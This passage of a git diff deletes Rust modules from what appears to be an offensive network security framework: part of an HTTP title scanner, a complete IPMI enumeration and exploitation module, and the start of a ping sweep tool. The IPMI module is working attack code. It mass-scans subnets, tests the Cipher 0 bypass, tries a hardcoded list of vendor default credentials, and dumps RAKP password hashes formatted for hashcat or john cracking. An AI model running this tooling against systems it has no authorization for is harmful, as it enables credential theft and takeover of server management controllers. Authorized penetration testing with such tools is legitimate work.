!= "http_title_scanner" { - targets.extend(split_targets(trimmed)); - } - targets -} - -fn split_targets(input: &str) -> Vec { - input - .split(|c| c == ',' || c == '\n' || c == ';') - .map(|item| item.trim().trim_end_matches('/').to_string()) - .filter(|item| !item.is_empty()) - .collect() -} - -fn load_targets_from_file(path: &str) -> Result> { - let data = fs::read_to_string(path) - .with_context(|| format!("Failed to read target file: {}", path))?; - Ok(split_targets(&data)) -} - -fn normalize_targets(targets: Vec, check_http: bool, check_https: bool) -> Vec { - let mut unique = HashSet::new(); - let mut normalized = Vec::new(); - - for raw in targets { - let target = raw.trim(); - if target.is_empty() { - continue; - } - - if target.starts_with("http://") || target.starts_with("https://") { - if unique.insert(target.to_string()) { - normalized.push(target.to_string()); - } - continue; - } - - if check_https { - let https = format!("https://{}", target); - if unique.insert(https.clone()) { - normalized.push(https); - } - } - - if check_http { - let http = format!("http://{}", target); - if unique.insert(http.clone()) { - normalized.push(http); - } - } - } - - normalized -} - -fn expand_targets_with_ports(targets: &[String], ports: &[u16]) -> Vec { - let mut expanded = Vec::new(); - let mut seen = HashSet::new(); - - for target in targets { - if let Ok(url) = Url::parse(target) { - for port in ports { - let mut candidate = url.clone(); - if candidate.set_port(Some(*port)).is_ok() { - let final_url = candidate.to_string(); - if seen.insert(final_url.clone()) { - expanded.push(final_url); - } - } - } - } else { - for port in ports { - let final_url = format!("{}:{}", target, port); - if seen.insert(final_url.clone()) { - expanded.push(final_url); - } - } - } - } - - expanded -} - -fn prompt(message: &str) -> Result { - print!("{}", message); - std::io::stdout() - .flush() - .context("Failed to flush stdout")?; - let mut input = String::new(); - std::io::stdin() - .read_line(&mut input) - .context("Failed to read user input")?; - Ok(input.trim().to_string()) -} - -fn prompt_bool(message: &str, default: bool) -> Result { - let default_text = if default { "yes" } else { "no" }; - let input = prompt(message)?; - if input.is_empty() { - return Ok(default); - } - match input.to_lowercase().as_str() { - "y" | "yes" | "true" => Ok(true), - "n" | "no" | "false" => Ok(false), - _ => { - println!("[!] Invalid input, using default ({})", default_text); - Ok(default) - } - } -} - -fn prompt_with_default(message: &str, default: &str) -> Result { - let input = prompt(message)?; - if input.is_empty() { - Ok(default.to_string()) - } else { - Ok(input) - } -} - -fn prompt_timeout() -> Result { - let input = prompt("Request timeout in seconds (default 10): ")?; - if input.is_empty() { - return Ok(10); - } - match input.parse::() { - Ok(val) if val > 0 => Ok(val), - _ => { - println!("[!] Invalid timeout, using default (10s)"); - Ok(10) - } - } -} - -fn prompt_ports() -> Result> { - let input = prompt( - "Enter port(s) to tunnel through (comma-separated, e.g., 80,8080; leave blank to skip): ", - )?; - if input.is_empty() { - println!("[!] No ports provided; skipping port tunneling."); - return Ok(Vec::new()); - } - - let mut ports = Vec::new(); - let mut seen = HashSet::new(); - for part in input.split(|c| c == ',' || c == ';' || c == ' ') { - let trimmed = part.trim(); - if trimmed.is_empty() { - continue; - } - match trimmed.parse::() { - Ok(port) => { - if seen.insert(port) { - ports.push(port); - } - } - Err(_) => println!("[!] Skipping invalid port '{}'.", trimmed), - } - } - - if ports.is_empty() { - println!("[!] No valid ports parsed; skipping port tunneling."); - } - - Ok(ports) -} - -fn write_report(path: &str, results: &[TitleResult]) -> Result<()> { - let mut lines = Vec::new(); - lines.push("HTTP Title Scanner Report".to_string()); - lines.push(format!("Generated at: {}", Utc::now())); - lines.push(String::new()); - - for result in results { - let status_text = result - .status - .map(|s| s.as_u16().to_string()) - .unwrap_or_else(|| "n/a".to_string()); - lines.push(format!( - "{} | status: {:<5} | title: {}", - result.url, - status_text, - result.display_title() - )); - if result.duration_ms > 0 { - lines.push(format!(" duration: {} ms", result.duration_ms)); - } - } - - fs::write(path, lines.join("\n")).with_context(|| format!("Failed to write report to {}", path)) -} - -fn banner() { - println!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan()); - println!("{}", "║ HTTP Title Scanner ║".cyan()); - println!("{}", "║ Enumerate page titles over HTTP/HTTPS endpoints ║".cyan()); - println!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan()); - println!(); -} diff --git a/src/modules/scanners/ipmi_enum_exploit.rs b/src/modules/scanners/ipmi_enum_exploit.rs deleted file mode 100644 index dfebca5..0000000 --- a/src/modules/scanners/ipmi_enum_exploit.rs +++ /dev/null @@ -1,798 +0,0 @@ -//! IPMI Enumeration and Exploitation Module - FIXED VERSION -//! -//! Comprehensive IPMI scanner supporting: -//! - Mass scanning (Single, Subnet, File list) -//! - Version detection (IPMI 1.5/2.0) -//! - Cipher 0 authentication bypass detection -//! - Anonymous authentication testing -//! - Default credential brute force -//! - RAKP hash dumping for offline cracking -//! - Supermicro-specific vulnerability checks -//! -//! Default Port: 623/UDP -//! FOR AUTHORIZED TESTING ONLY. - -use anyhow::{anyhow, Context, Result}; -use colored::*; -use std::net::{IpAddr, SocketAddr}; -use std::time::Duration; -use std::sync::Arc; -use std::sync::atomic::{AtomicUsize, Ordering}; -use tokio::sync::Semaphore; -use tokio::net::UdpSocket; -use futures::stream::{FuturesUnordered, StreamExt}; -use tokio::fs::OpenOptions; -use tokio::io::AsyncWriteExt; -use tokio::sync::Mutex; - -use crate::utils::{ - normalize_target, prompt_default, prompt_port, prompt_yes_no, - prompt_required, prompt_existing_file, prompt_int_range, -}; - -// IPMI Constants -const IPMI_PORT: u16 = 623; -const RECV_TIMEOUT_MS: u64 = 3000; -const MAX_RETRIES: usize = 2; - -// RMCP Header -const RMCP_VERSION: u8 = 0x06; -const RMCP_RESERVED: u8 = 0x00; -const RMCP_SEQ: u8 = 0xFF; -const RMCP_CLASS_IPMI: u8 = 0x07; - -// IPMI Commands -const IPMI_CMD_GET_CHANNEL_AUTH_CAP: u8 = 0x38; -const IPMI_CMD_GET_SESSION_CHALLENGE: u8 = 0x39; - -// Authentication Types -const AUTH_TYPE_NONE: u8 = 0x00; -const AUTH_TYPE_MD5: u8 = 0x02; -const AUTH_TYPE_RMCPP: u8 = 0x06; - -// RAKP Payload Types -const PAYLOAD_RMCPP_OPEN_SESSION_REQUEST: u8 = 0x10; -const PAYLOAD_RAKP_MESSAGE_1: u8 = 0x12; -const PAYLOAD_RAKP_MESSAGE_2: u8 = 0x13; - -// Default credentials -const DEFAULT_CREDS: &[(&str, &str, &str)] = &[ - ("Dell iDRAC", "root", "calvin"), - ("IBM IMM", "USERID", "PASSW0RD"), - ("Fujitsu iRMC", "admin", "admin"), - ("Supermicro IPMI", "ADMIN", "ADMIN"), - ("Oracle/Sun ILOM", "root", "changeme"), - ("ASUS iKVM BMC", "admin", "admin"), - ("Generic", "admin", "admin"), - ("Generic", "root", "root"), - ("Generic", "Administrator", "password"), -]; - -#[derive(Debug, Clone)] -struct IpmiInfo { - ip: IpAddr, - version: String, - auth_types: Vec, - cipher_zero_vulnerable: bool, - anonymous_access: bool, - valid_creds: Option<(String, String, String)>, - rakp_hash: Option, - supermicro_upnp_open: bool, - supermicro_49152_open: bool, -} - -fn display_banner() { - println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan()); - println!("{}", "║ IPMI Enumeration & Exploitation Module (FIXED) ║".cyan()); - println!("{}", "║ Mass Scan, Cipher 0, Default Creds, Version Detection ║".cyan()); - println!("{}", "║ FOR AUTHORIZED TESTING ONLY ║".cyan()); - println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan()); - println!(); -} - -pub async fn run(target: &str) -> Result<()> { - display_banner(); - - println!("Select operation mode:"); - println!(" 1. Single Target"); - println!(" 2. Subnet Scan (CIDR)"); - println!(" 3. Target List (File)"); - println!(); - - let mode = prompt_required("Select mode [1-3]: ")?; - - let targets = match mode.as_str() { - "1" => { - let t = if target.trim().is_empty() { - prompt_required("Target IP: ")? - } else { - target.to_string() - }; - vec![normalize_target(&t)?] - }, - "2" => { - let cidr = if target.trim().is_empty() || !target.contains('/') { - prompt_required("Target CIDR (e.g., 192.168.1.0/24): ")? - } else { - target.to_string() - }; - cidr.parse::() - .context("Invalid CIDR format")? - .iter() - .map(|ip| ip.to_string()) - .collect() - }, - "3" => { - let path = prompt_existing_file("Path to target list file: ")?; - let content = tokio::fs::read_to_string(path) - .await - .context("Failed to read target file")?; - content.lines() - .map(|s| s.trim().to_string()) - .filter(|s| !s.is_empty()) - .collect() - }, - _ => return Err(anyhow!("Invalid selection")), - }; - - if targets.is_empty() { - return Err(anyhow!("No valid targets found")); - } - - // Check for extremely large scans - if targets.len() > 100000 { - println!("{}", format!("[!] Warning: Large scan detected ({} targets).", targets.len()).yellow().bold()); - if !prompt_yes_no("This may consume significant memory and time. Continue?", false)? { - return Ok(()); - } - } - - println!("[*] Loaded {} targets", targets.len()); - - let port = prompt_port("IPMI Port", IPMI_PORT)?; - let test_cipher_zero = prompt_yes_no("Test Cipher 0 vulnerability?", true)?; - let test_anonymous = prompt_yes_no("Test anonymous authentication?", true)?; - let test_default_creds = prompt_yes_no("Test default credentials?", true)?; - let test_rakp_hash = prompt_yes_no("Attempt RAKP hash dumping (IPMI 2.0)?", true)?; - - let concurrency = if targets.len() > 1 { - prompt_int_range("Max concurrent scans", 50, 1, 10000)? as usize - } else { - 1 - }; - - let output_file = prompt_default("Output result file", "ipmi_scan_results.csv")?; - - println!("\n{}", "=== Starting IPMI Scan ===".bold().cyan()); - - let semaphore = Arc::new(Semaphore::new(concurrency)); - let stats_checked = Arc::new(AtomicUsize::new(0)); - let stats_found = Arc::new(AtomicUsize::new(0)); - - let s_checked = stats_checked.clone(); - let s_found = stats_found.clone(); - let total_targets = targets.len(); - - // Progress monitoring task - if total_targets > 1 { - tokio::spawn(async move { - loop { - tokio::time::sleep(Duration::from_secs(5)).await; - let checked = s_checked.load(Ordering::Relaxed); - let found = s_found.load(Ordering::Relaxed); - if checked >= total_targets { break; } - println!( - "[*] Progress: {}/{} checked, {} IPMI found", - checked, total_targets, found.to_string().green().bold() - ); - } - }); - } - - let mut tasks = FuturesUnordered::new(); - - // Initialize output file with proper CSV headers - let output_file_handle = OpenOptions::new() - .create(true) - .write(true) - .truncate(true) - .open(&output_file) - .await - .context("Failed to create output file")?; - - let mut file_handle = output_file_handle; - file_handle.write_all(format!("IPMI Scan Results - {}\n", chrono::Local::now()).as_bytes()).await?; - file_handle.write_all(b"IP,Port,Version,AuthTypes,Exploits,Cipher0,Anonymous,Credentials,RAKP_Hash,UPnP_1900,Port_49152\n").await?; - - let output_file_arc = Arc::new(Mutex::new(file_handle)); - - for target_str in targets { - let sem = semaphore.clone(); - let sc = stats_checked.clone(); - let sf = stats_found.clone(); - let of = output_file_arc.clone(); - let target_ip_str = target_str.clone(); - - tasks.push(tokio::spawn(async move { - let _permit = sem.acquire().await.unwrap(); - - // Resolve IP - let ip_res = if let Ok(ip) = target_ip_str.parse::() { - Ok(ip) - } else { - match tokio::net::lookup_host(format!("{}:{}", target_ip_str, port)).await { - Ok(mut iter) => iter.next() - .map(|s| s.ip()) - .ok_or_else(|| anyhow!("No IP resolved")), - Err(e) => Err(anyhow!(e)), - } - }; - - if let Ok(ip) = ip_res { - let addr = SocketAddr::new(ip, port); - - // Perform Scan - match scan_host(addr, test_cipher_zero, test_anonymous, test_default_creds, test_rakp_hash).await { - Ok(Some(info)) => { - sf.fetch_add(1, Ordering::Relaxed); - - // Display Result - let vuln_str = if info.cipher_zero_vulnerable { " [CIPHER0]".red().bold() } else { "".into() }; - let anon_str = if info.anonymous_access { " [ANON]".red().bold() } else { "".into() }; - let rakp_str = if info.rakp_hash.is_some() { " [HASH]".magenta().bold() } else { "".into() }; - let upnp_str = if info.supermicro_upnp_open { " [UPNP]".yellow().bold() } else { "".into() }; - let port_str = if info.supermicro_49152_open { " [49152]".yellow().bold() } else { "".into() }; - let cred_str = if let Some((v, u, p)) = &info.valid_creds { - format!(" [CRED: {} {}:{}]", v, u, p).green().bold() - } else { - "".into() - }; - - println!("[+] {}: {} {}{}{}{}{}{}", - info.ip, - info.version.green(), - vuln_str, - anon_str, - rakp_str, - upnp_str, - port_str, - cred_str - ); - - // Save to file (thread-safe) - { - let mut file_guard = of.lock().await; - let auth_types_str = info.auth_types.join("; "); - - let mut exploits = Vec::new(); - if info.cipher_zero_vulnerable { exploits.push("CIPHER0_BYPASS"); } - if info.anonymous_access { exploits.push("ANON_AUTH"); } - if info.rakp_hash.is_some() { exploits.push("RAKP_HASH_DUMP"); } - if info.supermicro_upnp_open { exploits.push("UPNP_1900"); } - if info.supermicro_49152_open { exploits.push("SUPERMICRO_49152"); } - if info.valid_creds.is_some() { exploits.push("DEFAULT_CREDS"); } - let exploit_str = if exploits.is_empty() { - "VERSION_ONLY".to_string() - } else { - exploits.join(", ") - }; - - let cipher0_str = if info.cipher_zero_vulnerable { "Yes" } else { "No" }; - let anon_str = if info.anonymous_access { "Yes" } else { "No" }; - let creds_str = if let Some((v, u, p)) = &info.valid_creds { - format!("Yes - {} ({}:{})", v, u, p) - } else { - "No".to_string() - }; - let rakp_str = info.rakp_hash.as_ref().unwrap_or(&"No".to_string()).clone(); - let upnp_str = if info.supermicro_upnp_open { "Yes" } else { "No" }; - let p49152_str = if info.supermicro_49152_open { "Yes" } else { "No" }; - - let line = format!( - "{},{},{},{},{},{},{},{},{},{},{}", - info.ip, - port, - info.version, - auth_types_str, - exploit_str, - cipher0_str, - anon_str, - creds_str, - rakp_str, - upnp_str, - p49152_str - ); - - let _ = file_guard.write_all(format!("{}\n", line).as_bytes()).await; - } - }, - Ok(None) => { - // No IPMI service detected - }, - Err(e) => { - eprintln!("[!] Error scanning {}: {}", ip, e); - } - } - } - - sc.fetch_add(1, Ordering::Relaxed); - })); - } - - // Wait for all tasks to complete - while tasks.next().await.is_some() {} - - let final_checked = stats_checked.load(Ordering::Relaxed); - let final_found = stats_found.load(Ordering::Relaxed); - - println!("\n{}", "=== Scan Complete ===".green().bold()); - println!("Targets scanned: {}", final_checked); - println!("IPMI services found: {}", final_found.to_string().green().bold()); - println!("Results saved to: {}", output_file.cyan()); - - Ok(()) -} - -async fn scan_host( - addr: SocketAddr, - check_c0: bool, - check_anon: bool, - check_creds: bool, - check_rakp: bool, -) -> Result> { - // Use tokio async UDP socket - let socket = UdpSocket::bind("0.0.0.0:0") - .await - .context("Failed to bind UDP socket")?; - - socket.connect(addr) - .await - .context("Failed to connect to target")?; - - // 1. Detect Version - let (version, auth_types) = match detect_ipmi_version(&socket).await { - Ok(res) => res, - Err(_) => return Ok(None), // Not IPMI or unreachable - }; - - let mut info = IpmiInfo { - ip: addr.ip(), - version, - auth_types, - cipher_zero_vulnerable: false, - anonymous_access: false, - valid_creds: None, - rakp_hash: None, - supermicro_upnp_open: false, - supermicro_49152_open: false, - }; - - // 2. Check Cipher 0 - if check_c0 && info.version.contains("2.0") { - if let Ok(true) = test_cipher_zero_vuln(&socket).await { - info.cipher_zero_vulnerable = true; - } - } - - // 3. Check Anonymous Access - if check_anon { - if let Ok(true) = test_credentials(&socket, "", "").await { - info.anonymous_access = true; - } - } - - // 4. Test Default Credentials - if check_creds { - for (vendor, user, pass) in DEFAULT_CREDS { - if let Ok(true) = test_credentials(&socket, user, pass).await { - info.valid_creds = Some((vendor.to_string(), user.to_string(), pass.to_string())); - break; - } - } - } - - // 5. RAKP Hash Dump (IPMI 2.0 Only) - if check_rakp && info.version.contains("2.0") { - let target_users = ["admin", "root", "Administrator", "ADMIN"]; - for user in target_users { - if let Ok(Some(hash)) = get_rakp_hash(&socket, user).await { - info.rakp_hash = Some(hash); - break; - } - } - } - - // 6. Supermicro Checks (UPnP 1900 + Port 49152) - if scan_supermicro_upnp(addr.ip(), 1900).await { - info.supermicro_upnp_open = true; - } - if scan_supermicro_upnp(addr.ip(), 49152).await { - info.supermicro_49152_open = true; - } - - Ok(Some(info)) -} - -// --- Helper Functions --- - -fn build_rmcp_header() -> Vec { - vec![ - RMCP_VERSION, // Version - RMCP_RESERVED, // Reserved - RMCP_SEQ, // Sequence (0xFF for no ack) - RMCP_CLASS_IPMI, // Class (IPMI) - ] -} - -fn build_get_auth_cap_request(channel: u8, privilege: u8) -> Vec { - let mut packet = build_rmcp_header(); - packet.push(AUTH_TYPE_NONE); - packet.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]); // Session Seq - packet.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]); // Session ID - - // Message data starts here (after IPMI session header) - let msg_start = packet.len(); - - packet.push(0x09); // Message length (will be adjusted) - packet.push(0x20); // Target (BMC) - packet.push((0x06 << 2) | 0x00); // NetFn (0x06 = App) / LUN - - let header_checksum = calculate_checksum(&packet[msg_start + 1..]); - packet.push(header_checksum); - - packet.push(0x81); // Source (Requester) - packet.push((0x00 << 2) | 0x00); // Seq/LUN - packet.push(IPMI_CMD_GET_CHANNEL_AUTH_CAP); - packet.push(0x80 | channel); // Extended capabilities - packet.push(privilege); - - let data_checksum = calculate_checksum(&packet[msg_start + 4..]); - packet.push(data_checksum); - - // Update message length - packet[msg_start] = (packet.len() - msg_start - 1) as u8; - - packet -} - -fn build_session_challenge_request(auth_type: u8, username: &str) -> Vec { - let mut packet = build_rmcp_header(); - packet.push(AUTH_TYPE_NONE); - packet.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]); - packet.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]); - - let msg_start = packet.len(); - - packet.push(0x18); // Message length placeholder - packet.push(0x20); - packet.push((0x06 << 2) | 0x00); // NetFn / LUN - - let header_checksum = calculate_checksum(&packet[msg_start + 1..msg_start + 3]); - packet.push(header_checksum); - - packet.push(0x81); - packet.push((0x00 << 2) | 0x00); - packet.push(IPMI_CMD_GET_SESSION_CHALLENGE); - packet.push(auth_type); - - let mut user_bytes = [0u8; 16]; - let user_len = username.len().min(16); - user_bytes[..user_len].copy_from_slice(&username.as_bytes()[..user_len]); - packet.extend_from_slice(&user_bytes); - - let data_checksum = calculate_checksum(&packet[msg_start + 4..]); - packet.push(data_checksum); - - // Update message length - packet[msg_start] = (packet.len() - msg_start - 1) as u8; - - packet -} - -fn calculate_checksum(data: &[u8]) -> u8 { - let sum: u8 = data.iter().fold(0u8, |acc, &x| acc.wrapping_add(x)); - (!sum).wrapping_add(1) -} - -async fn detect_ipmi_version(socket: &UdpSocket) -> Result<(String, Vec)> { - let request = build_get_auth_cap_request(0x0E, 0x04); - - for attempt in 0..MAX_RETRIES { - socket.send(&request) - .await - .context("Failed to send Get Channel Auth Capabilities request")?; - - let mut buffer = [0u8; 256]; - - match tokio::time::timeout( - Duration::from_millis(RECV_TIMEOUT_MS), - socket.recv(&mut buffer) - ).await { - Ok(Ok(n)) if n > 20 => { - // Validate RMCP header - if buffer[0] != RMCP_VERSION || buffer[3] != RMCP_CLASS_IPMI { - continue; - } - - // Check completion code (byte 20 in standard response) - if n < 24 { continue; } - let completion_code = buffer[20]; - if completion_code != 0x00 { - return Err(anyhow!("IPMI returned error code: 0x{:02x}", completion_code)); - } - - let auth_type_support = buffer[22]; - let extended_cap = if n > 24 { buffer[24] } else { 0 }; - - let mut auth_types = Vec::new(); - if auth_type_support & 0x01 != 0 { auth_types.push("None".to_string()); } - if auth_type_support & 0x02 != 0 { auth_types.push("MD2".to_string()); } - if auth_type_support & 0x04 != 0 { auth_types.push("MD5".to_string()); } - if auth_type_support & 0x10 != 0 { auth_types.push("Password".to_string()); } - if auth_type_support & 0x20 != 0 { auth_types.push("OEM".to_string()); } - - let version = if extended_cap & 0x02 != 0 { - "IPMI 2.0".to_string() - } else { - "IPMI 1.5".to_string() - }; - - return Ok((version, auth_types)); - } - Ok(Ok(_)) => continue, - Ok(Err(e)) => { - if attempt == MAX_RETRIES - 1 { - return Err(anyhow!("Recv error: {}", e)); - } - continue; - } - Err(_) => { - if attempt == MAX_RETRIES - 1 { - return Err(anyhow!("Timeout waiting for response")); - } - continue; - } - } - } - - Err(anyhow!("No valid response after {} retries", MAX_RETRIES)) -} - -async fn test_cipher_zero_vuln(socket: &UdpSocket) -> Result { - // Cipher 0 means authentication can be bypassed with "None" auth type - // We already check this in detect_ipmi_version by looking at auth_type_support - // This is a simplified check - for IPMI 2.0, cipher suite 0 specifically means - // no authentication, no integrity, no confidentiality - - let request = build_get_auth_cap_request(0x0E, 0x04); - socket.send(&request).await?; - - let mut buffer = [0u8; 256]; - match tokio::time::timeout( - Duration::from_millis(RECV_TIMEOUT_MS), - socket.recv(&mut buffer) - ).await { - Ok(Ok(n)) if n > 22 => { - let auth_type_support = buffer[22]; - // If "None" authentication is supported, it's vulnerable - Ok(auth_type_support & 0x01 != 0) - } - _ => Ok(false), - } -} - -async fn test_credentials(socket: &UdpSocket, username: &str, _password: &str) -> Result { - let request = build_session_challenge_request(AUTH_TYPE_MD5, username); - - for _ in 0..MAX_RETRIES { - socket.send(&request).await?; - - let mut buffer = [0u8; 256]; - match tokio::time::timeout( - Duration::from_millis(RECV_TIMEOUT_MS), - socket.recv(&mut buffer) - ).await { - Ok(Ok(n)) if n > 20 => { - let completion_code = buffer[20]; - // 0x00 = success (user exists and session challenge returned) - // 0xCC = invalid user - if completion_code == 0x00 { - return Ok(true); - } - return Ok(false); - } - _ => continue, - } - } - Ok(false) -} - -/// Retrieve RAKP Hash (HMAC-SHA1) for offline cracking -/// Returns formatted hash compatible with hashcat/john -async fn get_rakp_hash(socket: &UdpSocket, username: &str) -> Result> { - // Step 1: Send RMCP+ Open Session Request - let open_req = build_rmcpp_open_session_request(); - socket.send(&open_req).await.context("Failed to send Open Session Request")?; - - let mut buffer = [0u8; 1024]; - let n = match tokio::time::timeout( - Duration::from_millis(RECV_TIMEOUT_MS), - socket.recv(&mut buffer) - ).await { - Ok(Ok(n)) if n > 36 => n, - _ => return Ok(None), - }; - - // Validate RMCP header - if buffer[0] != RMCP_VERSION { return Ok(None); } - - // Parse Open Session Response - // Structure: RMCP(4) + Auth(1) + PayloadType(1) + SessionID(4) + Seq(4) + PayloadLen(2) + Payload - if buffer[5] != (PAYLOAD_RMCPP_OPEN_SESSION_REQUEST + 1) { // Response is request + 1 - return Ok(None); - } - - // Check status code in payload (offset 16) - if n < 28 || buffer[16] != 0x00 { - return Ok(None); - } - - // Extract Managed System Session ID (offset 20-23, little-endian) - let managed_session_id = u32::from_le_bytes([ - buffer[20], buffer[21], buffer[22], buffer[23] - ]); - - // Step 2: Send RAKP Message 1 - let console_session_id = 0xAABBCCDD_u32; // Our chosen session ID - let console_random = [0x41u8; 16]; // Random nonce - - let rakp1 = build_rakp_message_1(username, managed_session_id, console_session_id, &console_random); - socket.send(&rakp1).await.context("Failed to send RAKP Message 1")?; - - // Step 3: Receive RAKP Message 2 - let n = match tokio::time::timeout( - Duration::from_millis(RECV_TIMEOUT_MS), - socket.recv(&mut buffer) - ).await { - Ok(Ok(n)) if n > 60 => n, - _ => return Ok(None), - }; - - // Validate RAKP Message 2 - if buffer[0] != RMCP_VERSION { return Ok(None); } - if buffer[5] != PAYLOAD_RAKP_MESSAGE_2 { return Ok(None); } - - // RAKP2 Payload starts at offset 16 - // Structure: Tag(1) + Status(1) + Reserved(2) + Console Session ID(4) + - // Managed Random(16) + Managed GUID(16) + HMAC(20 for SHA1) - - let rakp2_offset = 16; - if n < rakp2_offset + 60 { return Ok(None); } - - let status = buffer[rakp2_offset + 1]; - if status != 0x00 { - return Ok(None); // Authentication failed or user doesn't exist - } - - // Extract salt (Managed System Random Number) - 16 bytes at offset 24 - let salt_offset = rakp2_offset + 8; - let salt = &buffer[salt_offset..salt_offset + 16]; - - // Extract HMAC - typically last 20 bytes (SHA1) at offset 40 - let hmac_offset = rakp2_offset + 40; - let hmac = &buffer[hmac_offset..hmac_offset + 20]; - - // Format for hashcat (mode 7300) or john - // Format: $rakp$$$$ - let salt_hex = hex::encode(salt); - let hmac_hex = hex::encode(hmac); - let session_hex = format!("{:08x}", console_session_id); - - let hash = format!("$rakp${}${}${}${}", salt_hex, hmac_hex, username, session_hex); - - Ok(Some(hash)) -} - -fn build_rmcpp_open_session_request() -> Vec { - let mut p = build_rmcp_header(); - p.push(AUTH_TYPE_RMCPP); // RMCP+ Auth Type - p.push(PAYLOAD_RMCPP_OPEN_SESSION_REQUEST); // Payload Type - p.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]); // Session ID (0 for setup) - p.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]); // Sequence Number - - // Payload Length (32 bytes) - little endian - p.extend_from_slice(&[0x20, 0x00]); - - // Open Session Request Payload - p.push(0x00); // Message Tag - p.push(0x00); // Requested Max Privilege Level (0 = highest available) - p.extend_from_slice(&[0x00, 0x00]); // Reserved - - // Console Session ID (our chosen ID) - p.extend_from_slice(&[0xAA, 0xBB, 0xCC, 0xDD]); - - // Authentication Algorithm: RAKP-HMAC-SHA1 - p.extend_from_slice(&[ - 0x00, 0x00, 0x00, 0x08, // Auth payload type + length - 0x01, 0x00, 0x00, 0x00 // Algorithm: RAKP-HMAC-SHA1 - ]); - - // Integrity Algorithm: HMAC-SHA1-96 - p.extend_from_slice(&[ - 0x01, 0x00, 0x00, 0x08, // Integrity payload type + length - 0x01, 0x00, 0x00, 0x00 // Algorithm: HMAC-SHA1-96 - ]); - - // Confidentiality Algorithm: None - p.extend_from_slice(&[ - 0x02, 0x00, 0x00, 0x08, // Confidentiality payload type + length - 0x00, 0x00, 0x00, 0x00 // Algorithm: None - ]); - - p -} - -fn build_rakp_message_1( - username: &str, - managed_session_id: u32, - _console_session_id: u32, - console_random: &[u8; 16] -) -> Vec { - let mut p = build_rmcp_header(); - p.push(AUTH_TYPE_RMCPP); - p.push(PAYLOAD_RAKP_MESSAGE_1); - p.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]); // Session ID (0) - p.extend_from_slice(&[0x00, 0x00, 0x00, 0x00]); // Sequence - - // Calculate Payload Length - let payload_len = 1 + 3 + 4 + 16 + 1 + 1 + username.len(); - p.extend_from_slice(&(payload_len as u16).to_le_bytes()); - - // RAKP Message 1 Payload - p.push(0x00); // Message Tag - p.extend_from_slice(&[0x00, 0x00, 0x00]); // Reserved - - // Managed System Session ID (from Open Session Response) - p.extend_from_slice(&managed_session_id.to_le_bytes()); - - // Console Random Number (16 bytes) - p.extend_from_slice(console_random); - - // Requested Max Privilege + Username present flag - p.push(0x14); // 0x10 (username present) | 0x04 (Admin privilege) - - // Username Length and Username - p.push(username.len() as u8); - p.extend_from_slice(username.as_bytes()); - - p -} - -async fn scan_supermicro_upnp(ip: IpAddr, port: u16) -> bool { - let addr = SocketAddr::new(ip, port); - - if let Ok(socket) = UdpSocket::bind("0.0.0.0:0").await { - if socket.connect(addr).await.is_err() { - return false; - } - - // M-SEARCH SSDP packet - let msg = "M-SEARCH * HTTP/1.1\r\n\ - HOST: 239.255.255.250:1900\r\n\ - MAN: \"ssdp:discover\"\r\n\ - MX: 1\r\n\ - ST: ssdp:all\r\n\r\n"; - - if socket.send(msg.as_bytes()).await.is_ok() { - let mut buf = [0u8; 1024]; - match tokio::time::timeout( - Duration::from_millis(500), - socket.recv(&mut buf) - ).await { - Ok(Ok(_)) => return true, - _ => return false, - } - } - } - false -} \ No newline at end of file diff --git a/src/modules/scanners/mod.rs b/src/modules/scanners/mod.rs deleted file mode 100644 index df12855..0000000 --- a/src/modules/scanners/mod.rs +++ /dev/null @@ -1,14 +0,0 @@ -pub mod sample_scanner; -pub mod ssdp_msearch; -pub mod port_scanner; -pub mod stalkroute_full_traceroute; -pub mod http_title_scanner; -pub mod ping_sweep; -pub mod http_method_scanner; -pub mod dns_recursion; -pub mod ssh_scanner; -pub mod smtp_user_enum; -pub mod dir_brute; -pub mod sequential_fuzzer; -pub mod api_endpoint_scanner; -pub mod ipmi_enum_exploit; diff --git a/src/modules/scanners/ping_sweep.rs b/src/modules/scanners/ping_sweep.rs deleted file mode 100644 index 0c55a29..0000000 --- a/src/modules/scanners/ping_sweep.rs +++ /dev/null @@ -1,1159 +0,0 @@ -use anyhow::{anyhow, Context, Result}; -use colored::*; -use ipnet::IpNet; -use libc; -use pnet_packet::ip::IpNextHeaderProtocols; -use pnet_packet::ipv4::{self, MutableIpv4Packet}; -use pnet_packet::tcp::{self, MutableTcpPacket, TcpFlags}; -use pnet_packet::Packet; -use socket2::{Domain, Protocol, Socket, Type}; -use std::{ - collections::HashSet, - fs::File, - io::{BufRead, BufReader, Write}, - net::{IpAddr, Ipv4Addr, SocketAddr}, - sync::{ - atomic::{AtomicUsize, Ordering}, - Arc, Mutex, - }, -}; -use tokio::{net::TcpStream, process::Command, sync::Semaphore, task, time::Duration}; - -use rand::Rng; -use std::mem::MaybeUninit; - -#[derive(Clone, Debug)] -struct PingConfig { - targets: Vec, - methods: Vec, - concurrency: usize, - timeout_secs: u64, - verbose: bool, - save_up_hosts: Option, - save_down_hosts: Option, -} - -#[derive(Clone, Debug)] -enum PingMethod { - Icmp, - Tcp { ports: Vec }, - Syn { ports: Vec }, - Ack { ports: Vec }, -} - -impl PingMethod { - fn describe(&self) -> String { - match self { - PingMethod::Icmp => "ICMP".to_string(), - PingMethod::Tcp { ports } => { - if ports.len() == 1 { - format!("TCP/{}", ports[0]) - } else { - format!( - "TCP [{}]", - ports - .iter() - .map(u16::to_string) - .collect::>() - .join(",") - ) - } - } - PingMethod::Syn { ports } => { - if ports.len() == 1 { - format!("SYN/{}", ports[0]) - } else { - format!( - "SYN [{}]", - ports - .iter() - .map(u16::to_string) - .collect::>() - .join(",") - ) - } - } - PingMethod::Ack { ports } => { - if ports.len() == 1 { - format!("ACK/{}", ports[0]) - } else { - format!( - "ACK [{}]", - ports - .iter() - .map(u16::to_string) - .collect::>() - .join(",") - ) - } - } - } - } - - fn label(&self) -> &'static str { - match self { - PingMethod::Icmp => "ICMP", - PingMethod::Tcp { .. } => "TCP", - PingMethod::Syn { .. } => "SYN", - PingMethod::Ack { .. } => "ACK", - } - } - - async fn 